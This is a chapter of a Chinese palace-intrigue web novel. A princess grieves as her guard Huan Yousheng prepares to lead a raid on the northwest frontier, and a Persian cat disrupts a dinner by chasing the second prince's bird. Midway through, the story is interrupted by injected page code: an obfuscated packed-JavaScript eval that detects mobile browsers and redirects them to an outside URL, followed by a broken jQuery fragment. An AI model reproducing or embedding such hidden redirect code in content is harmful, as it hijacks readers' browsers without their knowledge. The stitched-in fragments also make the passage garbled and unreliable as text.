43. 猫儿趣

作品:《当暗卫在光明之下

    地龙烧得噼啪作响,波斯绒毯边沿的冰裂纹瓷盆里,花瓣凝着露珠。


    世安公主攥着焕游笙的袖口忽然后退半步,“本宫”二字甫一出口,裙摆下的波斯猫便弓起脊背,异色瞳孔映出她自己咬得没了血色的下唇。


    焕游笙静立未动,她不会被公主的色厉内荏吓到,反而从心底里泛起酸涩的心疼。


    公主从前……不会这样的。


    世安公主立刻察觉了她眼神中的柔软,而她从不会放过撒娇卖痴的机会,猛然扑进焕游笙怀中,丁香色披帛扫落案头鎏金香球。


    “我不想焕姐姐再受伤了……”公主闷声抽噎,脸颊贴着焕游笙胸前的衣料——焕游笙这一身很素净,并无刺绣的纹样,贴在脸颊上却格外柔软亲切。


    焕游笙无声叹息,扶着公主坐回榻上,用帕子拭过她眼角的泪痕。


    波斯猫伸了个懒腰,用爪尖拨弄炭盆里的银霜炭,溅起星点火光,然后又悄没声地窝回了世安公主脚边。


    “奴婢本该一直守着公主。”焕游笙看着公主红肿的眼角,“可陇右不止吐蕃联合党项、吐谷浑残部来犯,突厥与契丹联军也已至河西,他们都在观望。陛下如今又……”


    公主拉住焕游笙的手:“母后要震慑朝堂,父皇要安定民心,这些我都知道。可是你手臂上的刀伤,肩膀上的剑伤,满背的鞭伤,如今又刚从刑场回来……泱泱大启武将何其多,何故让你一再去冒险?”


    焕游笙蹲下身,仰头看向世安公主:“这一仗不仅要赢,还要赢得漂亮,以此震慑四夷。皇后娘娘需要这场胜利,大启的盛世太平、长治久安更需要这场胜利。奴婢知道,此去奴婢并非无可替代,但奴婢却是最适合的人选。”


    “黑齿将军率十万大军,坐镇中军,现在需要的是一支奇袭军。凤羽卫接受的是非常规训练,最擅奇袭。皇后娘娘命奴婢率领凤羽卫,正是因为奴婢和凤羽卫有着相似的出身,更有可能指挥自如,奴婢责无旁贷。”


    “盛世太平,长治久安?”世安公主在口中将这两个词咀嚼了一遍,像是终于明白此事已成定局,啜泣的声音几不可闻,“可是我舍不得。焕姐姐几次死里逃生,至少该休息一段日子,是不是?”


    焕游笙将方才在梅园接住的那支梅花放进公主手中:“在公主身边的这一年,是奴婢最惬意的休息。”


    “铁骨红。”世安公主说的是这红梅的品种,随即沉默良久,才缓缓起身,将冰裂纹瓷盆里真金白银养出的反季花朵随意挑了出去,又小心将那支铁骨红在里面摆好。


    她背对着焕游笙,瓮声瓮气道:“何时出发?”


    焕游笙跟了过来:“明日寅时(凌晨3时至5时)通化门点兵。”


    世安公主眼中又泛起水雾,话一出口才发觉带着浓浓的鼻音:“焕姐姐不必担心我,内侍省新调来两名宫女,水芝懂些药理,莲蓬会武,虽远不及焕姐姐,但也足够。还有这猫,”她指了指一旁趴着的波斯猫,“这猫是母后差人送来的,乖巧懂事,很通人性,日日陪着我。我会好好等你回来。”


    焕游笙想起自己入狱之前,公主正和皇后娘娘闹着别扭,于是开口试探:“皇后娘娘……”


    世安公主指尖一颤,自从宫变那日,她就时常梦见母后扼住自己喉咙的场景,后来又被母后训斥,那梦就更频繁了。


    虽然梦中之事实在荒唐,却也让她心中隐隐难安。


    她扯了个笑,转过头来:“焕姐姐今日陪我一同用膳吧。”


    “好。”焕游笙看出她的回避躲闪,于是也不再强求。


    ……


    永安宫西暖阁的鎏金枝形灯照亮描金槛窗,尚食女史捧着鸿雁纹食盒踏入。


    揭开三层屉格,银平脱漆盘盛着槐叶蒸糯米,青碧糯米片被雕作梅花状;素面玛瑙碗浮着蜜渍樱桃,浇西域葡萄酒调的胭脂露;越窑青瓷钵焖着金齑玉鲙,鲈鱼片薄如蝉翼可透光……


    焕游笙垂眸听着公主絮语。


    “焕姐姐尝尝这个。”世安公主以银箸挑起片鱼脍。


    “好。”


    “焕姐姐可还记得上元节那盏走马灯?灯影里能瞧见……”


    世安公主十分珍惜这难得的半日相处时光,连春日都可以是假的,那么她脸上的笑容又如何做不得假?


    今日,只管开心就好。


    窗外忽传来靴底碾碎冰碴的脆响。


    翠晴上前打了帘子,汤易儒裹着玄狐裘迈着四方步进来,檐角铜铃的霜花簌簌落进他未绾的发间。


    为了避嫌,汤易儒作为皇子,从前是不会这样踏着夜色来到永安宫的。


    “二哥哥来得正好!”世安公主起身到汤易儒面前,扯着对方衣摆落座,呵出的白雾裹着醪糟甜香,“今日的好酒好菜还温着呢。”


    焕游笙起身行叉手礼,素绢袍摆扫过波斯毯上零落的花瓣:“参见二皇子殿下。”


    “免了。”汤易儒解裘的动作沉稳如常,鸦青圆领袍银线暗绣的如意云纹在烛火下流转,“兵部勘合文书耽搁了。”


    他展开衣袖示意:“顺道送它来。”


    赤炎振翅掠过二十四连枝灯,然后落在焕游笙肩上。


    这珍禽之前也算是跟着焕游笙走南闯北过的,显然还没忘记她,小脑袋亲昵地蹭了蹭焕游笙的颈侧,金喙轻啄她耳坠,发出“咕噜”轻鸣。


    焕游笙抬手,摸了摸它的脚环,顺势将它扣在手心。


    汤易儒还没来得及反应,波斯猫突然伏地,两只后脚踏步似的挪动,黑晶石一般的瞳孔瞬间涨得圆溜溜,里面是压不住的兴奋劲儿。


    对了,猫爱抓鸟来着。


    今日下午世安公主还赞它乖巧懂事通人性,现下翠晴与赤佩一迭声地唤着“小祖宗”,却见那雪团似的猫儿腾空跃起,姿态灵活矫健放荡不羁。


    波斯猫粉嫩的肉垫在跃动中打翻酱碟,赤红茱萸汁泼溅了一片。


    “当心!”世安公主的惊呼声中,焕游笙旋身避过猫爪。


    汤易儒来之前听慕容遥提起焕游笙已经痊愈,倒是不担忧她的身手,对于眼前的混乱觉得新奇有趣,倚着填漆榻笑出声:“早说该给赤炎穿软甲的。”


    世安公主抓起螺钿盒向汤易儒掷去:“二哥哥还不快将那扁毛物什好好收起来!”


    “好好好……”汤易儒好脾气,快速从焕游笙手里接过赤炎,放入跟着来的公公手中。


    那公公焕游笙是见过的,去岁在暗卫营领了罚,去掖庭宫休养的时候,就是这位公公替汤易儒送了药膏进来,看年岁,想来是自幼伺候汤易儒的。


    焕游笙微微向对方颔首。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15164422|160647||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那公公也不敢耽搁,向焕游笙点头致意后就匆匆拢着赤炎出去了。


    波斯猫见没了趣味,蜷回公主膝头,双眼仍盯着汤易儒的宽大衣袖,就好像那里还有一只赤炎还是什么别的鸟儿似的。


    翠晴领着宫娥们踩过波斯毯的缠枝牡丹纹,将打翻的酱碟与碎瓷片扫入素面银盆。


    水芝垂首跪在榻边,用浸过茉莉水的素帛擦拭波斯猫爪上沾的茱萸酱,又蘸龟兹驼乳膏润泽,莲蓬捧着越窑茶瓯的手稳如磐石——两个新调来的宫女正如世安公主所言,沉稳又妥帖。


    “七顺斋的杏仁酥酪要趁凉吃。”汤易儒解开缠金丝食盒,乳白玉碗里凝着琥珀色奶皮,撒着碾碎的终南山松仁,“仙客楼的驼峰炙用茴香腌过,敦煌百合脍是照着高昌国的方子调的。就当是我给世安赔罪了。”


    世安公主虎着脸,动作却不含糊,夹起一片炙肉,蜜色油脂滴在青瓷莲花盘中:“焕姐姐尝尝。”


    汤易儒摸了摸鼻子,指尖又轻点上波斯猫蓬松的尾尖,语气讨好:“世安这里何时多了只猫?这般纯正的波斯种,长安城里找不出第二只。尤其是这一双眼睛,蓝的似碎冰浮海,黄的如熔金落日。”


    波斯猫银白长毛泛着月华似的光泽,扁平的面部嵌着两颗异色琉璃珠般的眼瞳,似乎听懂了对方的夸赞,傲娇地扬着下巴眯了眼舔了舔爪子。


    “二哥哥今日是来做识宝胡郎的?”世安公主扬起的下巴与猫儿如出一辙,也眯了眯眼睛,“总不会单为送这劳什子吃食?”


    汤易儒忍俊不禁,片刻才清了清嗓子解释:“方才那赤炎,就是那‘扁毛物什’,有传信追踪之能,我也是为了助焕姑娘一臂之力。谁知还闯了这样的大祸。”


    “殿下好意卑职心领了。”焕游笙接过话头,“陇右风沙迷眼,赤炎毕竟不是西域的鸟儿。”


    波斯猫不耐烦有人摸自己的尾巴,顺势抓了两把汤易儒的袖子,确认里面再没有什么逗趣儿的东西了,转而伸爪去够案上敦煌百合脍。


    世安公主忙压住它的“小山竹”:“焕姐姐莫同他客气!那扁毛物什那么有用,焕姐姐就带着吧。”


    焕游笙摇头:“吐蕃驯的雪山雕翼展五尺,赤炎追不上。”


    汤易儒拇指和食指互相摩挲,对波斯猫的尾巴有些跃跃欲试,口中还欲再劝:“焕姑娘……”


    “二哥哥!”世安公主听出焕游笙确实无心带着那鸟儿,于是横了汤易儒一眼,“食不言寝不语,这可是你教我的!”


    ……


    永安宫檐角的铜铃震碎最后一声暮鼓,汤易儒戌时(晚上7时至9时)三刻前掠过西暖阁槛窗,正逢尚寝擎着宫灯来验钥。


    世安公主倚在鲛绡帘后,将煨在案边的杏仁茶推向焕游笙:“焕姐姐今夜宿在碧纱橱可好?”


    焕游笙卸下腰间蹀躞带,世安公主特命波斯匠人用陨铁打的镶珠嵌玉圆月弯刀,与六棱凹面重二十八斤玄铁睚眦纹双锏并排悬于莲花檀木架。


    世安公主望着刀柄:“焕姐姐的刀穗该换新了,等你回来,让尚服用孔雀翎做个好的。”


    焕游笙吹熄榻边油灯,素纱中衣下的箭疤在月色中泛青:“好。”


    小剧场:


    汤易儒:闯下塌天大祸!


    世安公主:我的天爷啊!